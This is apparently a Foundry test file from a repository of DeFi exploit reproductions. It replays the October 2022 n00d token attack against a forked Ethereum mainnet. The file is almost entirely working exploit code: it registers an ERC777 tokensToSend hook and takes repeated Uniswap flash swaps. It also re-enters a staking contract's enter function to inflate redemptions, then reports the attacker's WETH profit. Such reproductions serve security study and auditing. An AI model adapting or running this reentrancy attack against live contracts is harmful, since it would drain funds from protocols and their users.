-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
N00d_exp.sol
93 lines (82 loc) · 3.18 KB
/
N00d_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// Analysis
// https://twitter.com/BlockSecTeam/status/1584959295829180416
// https://twitter.com/AnciliaInc/status/1584955717877784576
// TX
// https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea
interface sushiBar {
function enter(
uint256
) external;
function leave(
uint256
) external;
}
contract ContractTest is Test {
IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);
IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08);
sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08);
ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
uint256 i;
uint256 enterAmount = 0;
uint256 n00dReserve;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 15_826_379);
}
function testExploit() public {
registry.setInterfaceImplementer(
address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)
);
n00d.approve(address(Bar), type(uint256).max);
// The swap is performed 4 times.
int256 j;
for (j = 1; j < 5; j++) {
(n00dReserve,,) = Pair.getReserves();
Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
}
// Now all funds can be swapped back to WETH.
(n00dReserve,,) = Pair.getReserves();
Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
uint256 amountIn = n00d.balanceOf(address(this));
(uint256 n00dR, uint256 WETHR,) = Pair.getReserves();
uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);
n00d.transfer(address(Pair), amountIn);
Pair.swap(0, amountOut, address(this), "");
emit log_named_decimal_uint("Attacker WETH profit after exploit", WETH.balanceOf(address(this)), 18);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
// Resetting count to 0 so we perform re-entry twice each time we swap/loan.
i = 0;
enterAmount = n00d.balanceOf(address(this)) / 5;
Bar.enter(enterAmount);
Bar.leave(Xn00d.balanceOf(address(this)));
n00d.transfer(address(Pair), n00dReserve * 1000 / 997 + 1000);
}
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {
if (to == address(Bar) && i < 2) {
i++;
Bar.enter(enterAmount);
}
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external {}
}